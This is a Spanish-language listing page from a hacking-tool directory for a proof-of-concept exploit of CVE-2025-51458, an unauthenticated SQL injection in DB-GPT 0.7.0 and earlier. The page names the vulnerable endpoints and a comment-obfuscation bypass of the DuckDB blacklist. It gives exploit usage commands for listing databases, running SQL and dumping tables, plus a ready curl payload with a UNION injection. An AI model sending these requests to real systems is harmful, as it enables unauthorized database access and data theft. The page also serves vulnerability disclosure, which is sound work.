Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2025-51458-exp — CVE-2025-51458 - DB-GPT PoC de Inyección SQL sin autenticación | Kitploit
Herramientas/GitHubGitHub/q1uf3ng/cve-2025-51458-exp
Análisis de VulnerabilidadesAnálisis de CódigoExplotaciónExplotación de Aplicaciones WebPruebas de PenetraciónSeguridad de Bases de Datos
GitHubq1uf3ng/cve-2025-51458-exp

CVE-2025-51458-exp

CVE-2025-51458 - DB-GPT PoC de Inyección SQL sin autenticación

Ver Repositorio
11hace 4 mesesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2025-51458-exp

Inyección SQL Pre-Auth en DB-GPT <= 0.7.0

Descripción general

Los endpoints /api/v1/editor/sql/run y /api/v1/editor/chart/run aceptan SQL arbitraria sin autenticación. La lista negra de sanitize_sql solo cubre DuckDB; las conexiones a MySQL, PostgreSQL y SQLite reciben entrada de usuario sin filtrar. La propia lista negra de DuckDB puede ser omitida mediante ofuscación de comentarios (SEL/**/ECT).

Esto es una evasión de CVE-2024-10835 y CVE-2024-10901.

  • CVSS: 6.5 (Medio)
  • Tipo: CWE-89 (Inyección SQL)
  • Autenticación: No requerida (Pre-Auth)
  • Afectado: DB-GPT <= 0.7.0
  • Corregido: PR #2650

Uso

root@kitploit:~
# List databases
python3 exp.py http://target:5670 --list-dbs

# Execute SQL
python3 exp.py http://target:5670 <db_name> --sql "SELECT VERSION()"

# Dump tables
python3 exp.py http://target:5670 <db_name> --dump-tables

# Dump schema
python3 exp.py http://target:5670 <db_name> --dump-db

# DuckDB bypass
python3 exp.py http://target:5670 <db_name> --duckdb-bypass --sql "SELECT CURRENT_SETTING('access_mode')"

# Interactive mode
python3 exp.py http://target:5670 <db_name>

PoC Rápida

root@kitploit:~
curl -X POST "http://target:5670/api/v1/editor/sql/run" \
  -H "Content-Type: application/json" \
  -d '{"db_name":"test_db","sql":"SELECT 1 UNION ALL SELECT table_name FROM information_schema.tables--"}'

Referencias

  • NVD
  • Gecko Security Blog
  • Fix PR #2650
Descargar herramienta